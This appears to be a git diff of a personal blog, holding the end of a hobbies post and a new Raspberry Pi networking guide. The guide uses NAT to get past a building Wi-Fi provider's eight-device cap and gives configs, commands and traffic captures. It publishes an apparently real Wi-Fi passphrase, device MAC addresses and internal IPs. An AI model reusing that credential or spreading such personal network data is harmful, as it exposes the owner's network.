    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
    +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
    +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
    +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
    +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
    +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
    +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
    +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
    +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
    +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
    +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
    +=42yP
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md.asc
    +gpg --verify hobbies.md.asc hobbies.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/house_upgrade/index.html b/public-clearnet/posts/house_upgrade/index.html new file mode 100644 index 0000000..cbfbbd1 --- /dev/null +++ b/public-clearnet/posts/house_upgrade/index.html @@ -0,0 +1,407 @@ +I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.

    The Day My Wi-Fi Said “Eight Is Enough”

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.


    Hardware: what I picked and why

    • Raspberry Pi 4 (4GB)
      It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

    • ALFA AWUS036ACHM (USB Wi-Fi)
      Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

    • Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      Wi-Fi spikes current draw; brown-outs cause random gremlins.

    • 16–32 GB microSD, heatsinks, ventilated case
      The Pi 4 appreciates a bit of airflow.

    • (Optional) Ethernet cable
      If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.


    What this setup actually does

    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.

    Setup details (the friendly version)

    1) Access point with hostapd

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    This makes every downstream device appear as the Pi upstream:

    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    Now some random questions that I looked up in internet:

    1. How many devices can this really support?

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    1. What speeds should I expect?
    • LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

    • Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

    • Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

    1. Why these choices?
    • 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

    • WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

    • 20 MHz channel prevents older or power-saving devices from flaking out.

    • Avahi reflector avoids any changes to the building’s router and still lets discovery work.

    • NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

    Troubleshooting

    • hostapd masked/disabled

      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • dnsmasq can’t start because of port 53
      set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

    • “Station does not support mandatory HT PHY” in hostapd logs →
      add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

    • AirPlay/HomeKit don’t show up across subnets →
      ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      • /etc/avahi/avahi-daemon.conf has:
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • firewall allows:
      udp dport 5353 accept
      +
    • Weak signal / flaky joins →
      use a short USB 3 extension to move the ALFA away from the Pi and cables;
      scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

    • Clients connect but no internet →
      verify IP forward & NAT:

    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    hostapd (AP)

    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    got DHCP?

    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    If AirPlay/HomeKit discovery is flaky across subnets

    make sure mDNS is allowed both directions on the Pi

    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    simple iperf3 (install on Pi and a client)

    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    check channel utilization/interference (from Pi)

    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    Scaling tips (lots of tiny IoT devices)

    hostapd tweaks (add to hostapd.conf, then restart)

    (reduce management overhead slightly; keep conservative for compatibility)

    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    (device-side) disable aggressive power saving if supported
    (AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    “Clients connect but no internet” quick checklist

    Pi has a default route via upstream?

    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    For fun, and curiousity!

    1) DHCP leases (who joined the IoT network)

    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
